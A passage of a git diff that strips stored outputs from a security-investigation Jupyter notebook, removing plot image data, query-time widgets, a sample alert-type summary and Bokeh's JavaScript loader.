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K+fXswd+4i/P0DmD59DsHBE0lMTMTHx4eJEx9dg/DwsCc+9rlp03p++CGUceMmMXv2DMDGrFnTmTVrOmAPNM/rzerTpzutWrWlaNFiz7yG4eHhvzzW+vyCHA/NmDGXyZMnsHHjemw2Kz169KZEiZJMnDiWxMRE1q5dxdq1qwBwc3Nj9epHAP2oAAAGlUlEQVSNTJwYzOTJE9m5syEmkxP16tV3lN2fMmUmkyaNIyUlBS8vT2bMmIurqxvz58/G3z+ALl3eSXX8IkWKOu5nkZeR6eHjDk+QB7h8+3YcVutT13mp+PllICrq6eVORf5ouufk7/Ci3XenTp1k6dJFzJ276O9uivyJXrT7Tv75dM9JWjg5mcic2QsgL3Dlsdf/6gaJiIj8HmXKlCNPnjwcPnzw+SuLiIj8hfSYn4iIvPCGDBn5dzdBRETkMeqZEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQNMNpvtaa/lAS7/dU0RERERERF5IeUFrvx2ocv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- "text/plain": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# Draw the graph using Networkx/Matplotlib\n", "%matplotlib inline\n", @@ -1643,57 +294,9 @@ }, { "cell_type": "code", - "execution_count": 10, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:14:46.099473Z", - "start_time": "2020-05-16T02:14:46.032476Z" - } - }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "c1d708efcf56466388d4dcf41d34dda0", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "2aaef65c62d94ef787f9f08027269cef", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "c3e8e18ba61949fabfea52831b53e5ec", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.TimeGenerated, \n", @@ -1703,439 +306,9 @@ }, { "cell_type": "code", - "execution_count": 11, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:14:50.654284Z", - "start_time": "2020-05-16T02:14:48.146513Z" - } - }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Found 7 different alert types related to this host ('MSTICALERTSWIN1')\n", - " KillChainFusionIncident, Count of alerts: 5\n", - " SCUBA_PROCESSNAMESIMILARITY, Count of alerts: 2\n", - " SCUBA_RULE_Applocker_Bypass, Count of alerts: 4\n", - " SCUBA_RULE_DigitalCurrencyMiningTool, Count of alerts: 2\n", - " SCUBA_RULE_Lowering_Security_Settings, Count of alerts: 2\n", - " SCUBA_RULE_Telegram_install, Count of alerts: 2\n", - " SuspiciousSystemProcess, Count of alerts: 2\n", - "No alerts for account entity 'MSTICAlertsWin1\\MSTICAdmin'\n", - "No alerts for process entity 'c:\\w!ndows\\system32\\tsetup.1.exe'\n" - ] - }, - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1313\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n", - " 